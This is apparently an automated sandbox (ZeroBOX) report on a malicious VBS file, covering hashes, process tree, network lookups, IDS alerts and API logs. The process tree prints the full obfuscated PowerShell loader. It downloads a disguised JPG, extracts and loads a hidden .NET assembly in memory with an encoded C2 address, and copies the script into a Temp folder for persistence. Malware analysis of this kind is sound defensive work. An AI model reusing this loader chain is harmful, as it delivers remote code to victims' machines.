popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

HTMLIEbrowserhistory.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 28, 2023, 12:40 p.m. Oct. 28, 2023, 12:53 p.m.
Size 110.5KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 a32dfa1497c07d6c81f1c0ca839cbf03
SHA256 77add4f39639d5bc6f3e7a235c3bb2736371737e6f796cd37a5118be74f1af45
CRC32 5FDC2BD2
ssdeep 1536:F+4wX6yX6te4Mi3mI2hb7KZ18C2NGkikGkFjGkikGkKEt0eEKU+kCKGWGPrbrbTn:LoBWeBQZxNj53e
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\HTMLIEbrowserhistory.vbs

    660

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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QemdUcKwDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKHQDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKrDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBGDWKuQemdUcKGwDWKuQemdUcKYQBnDWKuQemdUcKC4DWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKGIDWKuQemdUcKYQBzDWKuQemdUcKGUDWKuQemdUcKNgDWKuQemdUcK0DWKuQemdUcKEwDWKuQemdUcKZQBuDWKuQemdUcKGcDWKuQemdUcKdDWKuQemdUcKBoDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKPQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKcwB0DWKuQemdUcKGEDWKuQemdUcKcgB0DWKuQemdUcKEkDWKuQemdUcKbgBkDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKQwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBUDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKB0DWKuQemdUcKC4DWKuQemdUcKUwB1DWKuQemdUcKGIDWKuQemdUcKcwB0DWKuQemdUcKHIDWKuQemdUcKaQBuDWKuQemdUcKGcDWKuQemdUcKKDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKKQDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBCDWKuQemdUcKHkDWKuQemdUcKdDWKuQemdUcKBlDWKuQemdUcKHMDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcK9DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKWwBTDWKuQemdUcKHkDWKuQemdUcKcwB0DWKuQemdUcKGUDWKuQemdUcKbQDWKuQemdUcKuDWKuQemdUcKEMDWKuQemdUcKbwBuDWKuQemdUcKHYDWKuQemdUcKZQByDWKuQe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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

      2144

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe.jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))"

        2344

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }

      2192

Name Response Post-Analysis Lookup
apps.identrust.com
A 182.162.106.33
CNAME a1952.dscq.akamai.net
A 182.162.106.32
CNAME identrust.edgesuite.net
23.67.53.27
paste.ee
A 172.67.187.200
A 104.21.84.67
104.21.84.67
uploaddeimagens.com.br
A 104.21.45.138
A 172.67.215.45
172.67.215.45
IP Address Status Action
164.124.101.2 Active Moloch
172.67.187.200 Active Moloch
172.67.215.45 Active Moloch
182.162.106.33 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49161 -> 172.67.187.200:443 2034978 ET POLICY Pastebin-style Service (paste .ee) in TLS SNI Potential Corporate Privacy Violation
TCP 192.168.56.103:49161 -> 172.67.187.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49168 -> 172.67.215.45:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49161
172.67.187.200:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=paste.ee cd:77:4c:26:1f:f8:63:15:43:5a:ba:aa:11:f1:e7:1a:23:3e:4b:15
TLSv1
192.168.56.103:49168
172.67.215.45:443 		C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br d4:47:9f:16:cd:db:0a:99:1e:d8:a8:20:24:9b:c9:bb:4c:62:39:71

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:177
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: .jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $we
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: bClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UTF8
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: .GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_EN
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: D>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexO
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: f($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $st
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: artFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageT
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ext.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::Fro
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: mBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::L
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: oad($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $typ
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5M
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: S8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:240
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: .jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $we
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: bClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetSt
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ring <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_EN
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: D>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexO
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: f($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $st
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: artFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageT
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: ext.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::Fro
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: mBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::L
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: oad($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $typ
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: e.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5M
console_handle: 0x000001ab
1 1 0

WriteConsoleW

